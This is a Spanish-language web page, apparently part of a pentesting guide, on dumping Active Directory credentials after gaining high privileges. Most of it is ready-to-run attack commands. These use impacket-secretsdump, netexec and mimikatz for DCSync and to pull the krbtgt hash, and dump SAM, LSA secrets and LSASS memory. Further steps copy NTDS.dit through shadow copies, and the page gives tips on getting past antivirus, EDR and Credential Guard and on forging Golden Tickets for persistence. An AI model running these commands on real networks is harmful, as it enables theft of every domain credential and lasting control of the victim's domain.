Saltar al contenido
Active Directory
Índice de contenidos

DCSync y Volcado de Credenciales

Cuando llegas a privilegios altos en el dominio (Domain Admin, o cualquier cuenta con derechos de replicación), el objetivo final es volcar todas las credenciales del dominio. La técnica estrella es DCSync: pedirle al Domain Controller que te replique los hashes, como haría otro DC.

Paso final de la metodología de AD, tras el movimiento lateral.


Fuentes de credenciales en Windows

  1. SAM (local)
    Hashes de usuarios LOCALES de una máquina.
  2. LSA secrets
    Credenciales de servicios, autologon, cuentas cacheadas.
  3. LSASS (memoria)
    Credenciales de sesiones activas (texto claro, hashes, tickets).
  4. NTDS.dit (en el DC)
    La base de datos con TODOS los hashes del dominio.

DCSync (volcar el dominio desde el DC)

Requiere los derechos DS-Replication-Get-Changes (los tienen Domain Admins, Enterprise Admins, y a veces cuentas mal delegadas que BloodHound te marca con el edge DCSync).

Con impacket (desde Linux)

# Volcar TODO el dominio
impacket-secretsdump <dominio>/<admin>:<pass>@<DC_IP>

# Con hash (Pass-the-Hash)
impacket-secretsdump <dominio>/<admin>@<DC_IP> -hashes :<hash_NTLM>

# Solo un usuario (p.ej. krbtgt, clave para Golden Ticket)
impacket-secretsdump <dominio>/<admin>@<DC_IP> -just-dc-user krbtgt

Con netexec

netexec smb <DC_IP> -u <admin> -p <pass> --ntds

Con mimikatz (desde Windows)

lsadump::dcsync /domain:dominio.local /user:krbtgt
lsadump::dcsync /domain:dominio.local /all

Consejo: el hash de krbtgt es el premio gordo: permite forjar un Golden Ticket (un TGT válido para cualquier usuario, incluido Domain Admin) y mantener control del dominio aunque cambien contraseñas. En un pentest, volcarlo demuestra compromiso total.


Volcado local (SAM / LSA / LSASS)

Cuando eres admin local en una máquina (no necesariamente el DC):

Remoto con impacket / netexec

impacket-secretsdump <dominio>/<user>:<pass>@<IP>       # SAM + LSA + cached
netexec smb <IP> -u <user> -p <pass> --sam --lsa

LSASS (credenciales de memoria)

# Remoto, con netexec (varios métodos)
netexec smb <IP> -u <user> -p <pass> -M lsassy
netexec smb <IP> -u <user> -p <pass> -M nanodump

# En Windows, con mimikatz
privilege::debug
sekurlsa::logonpasswords

Nota: LSASS suele estar protegido por el antivirus/EDR y por Credential Guard en sistemas modernos. Si sekurlsa::logonpasswords no devuelve nada, prueba a volcar el proceso (procdump, nanodump) y procesarlo offline, o céntrate en SAM/LSA.


Hashes offline del NTDS.dit (SeBackup)

Si tienes SeBackupPrivilege o acceso a los ficheros del DC, exfiltra la base y extrae los hashes:

# En el DC (con privilegios de backup)
reg save HKLM\SYSTEM system.hive
# copia NTDS.dit vía Volume Shadow Copy (diskshadow / ntdsutil)
# Offline, en tu máquina
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL

Qué hacer con los hashes volcados

Hashes del dominioPass-the-Hash (admin)DCSync krbtgtGolden Ticketpersistencia total

Herramientas relacionadas

HerramientaDescripción
impacket-secretsdumpDCSync y volcado SAM/LSA/NTDS.
netexec (--ntds, --sam, --lsa, -M lsassy)Volcado remoto integrado.
mimikatzDCSync y volcado de LSASS en Windows.
nanodump / procdumpVolcar LSASS evadiendo protecciones.

Consejo: DCSync es el “jaque mate” del dominio. En cuanto BloodHound te marque que tienes (directa o indirectamente) el edge DCSync o llegues a Domain Admin, ejecuta secretsdump y saca al menos el hash de krbtgt y del administrador del dominio. Con eso controlas el dominio entero.